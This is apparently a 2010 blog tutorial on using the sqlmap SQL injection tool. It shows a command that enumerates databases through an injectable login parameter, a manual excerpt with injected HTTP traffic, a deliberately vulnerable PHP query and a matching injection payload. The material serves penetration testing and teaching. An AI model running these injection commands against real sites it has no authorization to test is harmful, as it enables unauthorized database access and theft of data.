Thursday, January 14, 2010

Tips on Using Sqlmap: Automatic SQL Injection Tool

Sqlmap is a convenient tool for SQL injection. It is especially useful when you try to figure out database names, table names, etc. using SQL injection, because it typically involves thousands of SQL queries for comparing ASCII code. Sqlmap also has several useful features such as interactive SQL shell.

However, it is not easy to get it work without using a proper set of options. Here, I provide some useful examples.

Example: enumerate all the databases from "blah.com" where the login.php has an SQL injection vulnerability.

./sqlmap.py --data="username=a" -u http://blah.com/login.php --method=POST -p username --prefix="blah' or not (1" --postfix=") or username='blah" --dbs
Note that the --prefix and --postfix options are crucial in many scenarios, although figuring out the correct prefix and postfix is a purely manual process. Once you get the prefix and postfix right, sqlmap becomes a really powerful tool.

Following is the explanation for prefix and postfix options from the sqlmap manual. (http://sqlmap.sourceforge.net/doc/README.html)

Options: --prefix and --postfix

$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_str_brackets.php?id=1" -v 3 \
-p "id" --prefix "'" --postfix "AND 'test'='test"

[...]
[hh:mm:16] [INFO] testing sql injection on GET parameter 'id' with 0 parenthesis
[hh:mm:16] [INFO] testing custom injection on GET parameter 'id'
[hh:mm:16] [TRAFFIC OUT] HTTP request:
GET /sqlmap/mysql/get_str_brackets.php?id=1%27%29%20AND%207433=7433%20AND%20
%28%27test%27=%27test HTTP/1.1
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Host: 192.168.1.121:80
Accept-language: en-us,en;q=0.5
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
image/png,*/*;q=0.5
User-agent: sqlmap/0.7 (http://sqlmap.sourceforge.net)
Connection: close
[...]
[hh:mm:17] [INFO] GET parameter 'id' is custom injectable
[...]

In some circumstances, a vulnerable parameter is exploitable if the user provides a valid postfix in their payloads. Let us consider an example with the following PHP statement:

$query = "SELECT * FROM users WHERE id=('" . $_GET['id'] . "') LIMIT 0, 1";
As you can see, a payload should be:

id=1') AND 7433=7433 AND ('test'='test
so that it makes the final query to be syntactically correct as below:

SELECT * FROM users WHERE id=('1') AND 7433=7433 AND ('test'='test') LIMIT 0, 1

About

My photo
Hi, I am a PhD candidate at CMU. I was one of the founding members of PPP (Plaid Parliament of Pwning). I like programming in OCaml, F#, Haskell, and C++.